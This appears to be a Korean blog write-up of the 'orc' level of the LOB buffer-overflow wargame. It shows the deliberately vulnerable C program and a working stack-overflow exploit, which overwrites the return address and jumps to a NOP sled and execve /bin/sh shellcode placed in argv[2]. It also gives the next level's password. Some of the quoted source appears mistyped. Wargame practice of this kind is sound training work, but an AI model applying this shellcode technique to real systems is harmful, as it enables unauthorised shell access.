DongDD's IT

[LOB] Level5 orc 본문

Wargame/LOB

[LOB] Level5 orc

DongDD 2018. 1. 18. 17:13

[LOB] Level5 orc


Problem



이번 문제도 들어가보니 wolfman 실행 파일 하나와 wolfman.c 소스 코드 파일 하나가 주어져있었다.

저번 문제 소스 코드의 소유가 root로 되어있었는데 이번 문제 역시 root로 되어있는 걸로 보아 아마 저번 문제 부터 쭉 소스 코드를 수정할 수 없게 만든 것 같다.

일단 소스 코드를 먼저 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char argv[])
{
    char buffer[40];
    int I;
    
    if(argc < 2) {
        printf(“argv error\n”);
        exit(0);
    }
 
    // egghunter
    for(i = 0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));
    if(argv[1][47!= ‘\xbf’)
    {
        printf(“stack is still your friend.\n”);
    }
    strcpy(buffer, argv[1]);
    printf(“%s\n”, buffer);
    // buffer hunter
    memset(buffer, 040);
}
 
cs


저번 문제와 마찬가지로 extern을 통해 환경 변수를 가져와 모두 초기화해준다. 환경 변수를 이용한 BOF는 힘들어 보인다. 그 후에 인자로 받은 48번째 문자가 "\xbf"인지 확인한다. 이번 문제에서도 stack 영역의 return address를 사용해 해결하는 문제 같았다.

저번 문제와 다른 점은 마지막에 memset()함수를 통해 인자를 통해 copy된 buffer를 초기화 시켜준다는 것이다.

buffer에 shell code를 넣고 사용했던 방법도 힘들어 보인다.

사용할 수 있는 stack 변수는 argv[2]~ 사용하면 될 것 같았다.


Solution


이번 문제에서는 argv[2]에 shell code를 넣어 해결하는 방법을 선택했다. 저번 문제와 달리 이번 문제에서는 주소 오류가 없었고 무난히 해결할 수 있었다.


1. argv[2]에 Shell code 이용


gdb 실행을 위해 wolfman 파일을 oolfman 파일로 복사했고 gdb를 통해 argv[2]를 검사해보았다.



argv[1]에는 dummy(47 bytes)값에 "\xbf"를 넣었고 argv[2]에는 아무 값이나 넣어서 argv[2]의 주소를 찾았다.

argv[2]의 값이 0xbfffc60(0xbffffc61)부터 들어간 것을 알 수 있었다. argv[1]과 argv[2] 사이에 NULL 문자가 있는 것 같았다. 그래서 시작 주소를 정확히 잡기 어려울 것 같아 "\x90" (NOP)을 사용해야겠다는 생각이 들었다.

시작 주소를 0xbffffc64라고 생각하고 payload를 작성했다.


argv[2]의 시작 주소 : 0xbffffc64


사용한 Shell code(24 bytes) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 



Payload = dummy(44 bytes) + return address(argv[2]의 시작 주소)   "\x90"*20(NOP) + Shell code(24 bytes)


위와 같은 Payload를 사용했다. argv[2]를 사용해서 그런지 잘못된 주소 참조와 관련된 에러는 나지 않았고 무난히 통과할 수 있었다.


혹시나 하는 마음에 문제를 해결하고 buffer에 shell code를 넣는 방식을 시도해보았지만 gdb를 통해 확인하니 buffer에 넣은 shell code가 모두 초기화 되있는 것을 볼 수 있었다.







**************     Answer & Flag     **************

1. argv[2]에 Shell code 이용


Payload = dummy(44 bytes) + return address(argv[2]의 시작 주소)   "\x90"*20(NOP) + Shell code(24 bytes)


argv[1] = "A"*44 + "\x64\xfc\xff\xbf"
argv[2] = "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"



Next ID : wolfman

Next PW : love eyuna

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level7 darkelf  (0) 2018.01.19
[LOB] Level6 wolfman  (0) 2018.01.19
[LOB] Level4 goblin  (0) 2018.01.17
[LOB] Level3 cobolt  (0) 2018.01.16
[LOB] Level2 gremlin  (0) 2018.01.11
Comments